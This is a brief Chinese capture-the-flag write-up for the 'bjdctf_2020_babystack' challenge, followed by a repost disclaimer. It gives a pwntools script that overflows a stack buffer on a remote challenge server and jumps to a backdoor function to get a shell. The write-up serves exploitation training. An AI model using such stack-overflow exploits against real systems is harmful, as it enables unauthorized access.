exp 脚本
真的是 baby 难度，直接栈溢出跳转到后门函数
from pwn import *
io = remote('node3.buuoj.cn',25930)
backdoor = 0x4006e6
payload = 'a' * (0x10+8) + p64(backdoor)
io.sendline('100')
io.sendline(payload)
io.interactive()
bjdctf_2020_babystack
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。